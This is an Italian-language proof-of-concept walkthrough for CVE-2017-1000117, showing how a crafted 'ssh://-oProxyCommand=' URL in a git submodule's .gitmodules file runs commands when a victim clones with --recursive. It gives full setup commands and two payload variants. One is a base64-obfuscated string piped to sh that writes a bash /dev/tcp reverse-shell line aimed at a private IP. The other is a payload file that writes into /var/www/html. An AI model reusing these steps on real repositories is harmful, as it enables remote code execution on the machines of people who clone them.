
Exploit di prova di concetto per CVE-2017-1000117: esecuzione di codice remoto tramite URL SSH dannoso di un git submodule, consentendo la consegna di un payload di reverse shell durante operazioni di clone ricorsivo.
Un malintenzionato può creare un link "ssh://…" opportunamente costruito in modo che la vittima, eseguendo un programma o simili, visiti tale link malevolo, ottenendo così l'esecuzione di comandi. Il link può essere inserito nel file .gitmodules di un progetto git, in modo che quando la vittima esegue git clone --recurse-submodules o git clone --recursive su quel progetto, venga innescato un problema di sicurezza.
Preparazione:
Nel terminale Linux esegui:
printf 'a' >> /tmp/pwned.txt
Si noterà che nella directory /tmp è stato creato il file pwned.txt con contenuto a.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"]
path = sub1
url = https://github.com/leezp/CVE-2017-1000117.git
//vengono create due directory di sottomoduli: sub1 e name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Ci sono due modalità di costruzione:
Prima modalità:
Apri il file .gitmodules e modifica il contenuto (è sufficiente modificare solo il primo, poiché verrà eseguito solo l'exploit del primo sottomodulo; qui ne vengono creati due perché a volte con uno solo non viene eseguito – il motivo specifico non è stato approfondito):
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(Per i dettagli, vedere il file .gitmodules.bak1)
Questa modalità non richiede un file payload.
Seconda modalità:
Apri il file .gitmodules e modifica il contenuto (è sufficiente modificare solo il primo):
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(Per i dettagli, vedere il file .gitmodules)
Questa modalità richiede un file payload, nel quale inseriamo:
printf 'sss' > /var/www/html/vul
Nota:
La clonazione tramite git clone deve essere eseguita in uno dei due modi seguenti:
git clone --recursive url
git clone --recurse-submodules url
Usando semplicemente git clone, verrà eseguito solo il download normale senza generare file aggiuntivi, quindi la condizione di attivazione della vulnerabilità è piuttosto restrittiva.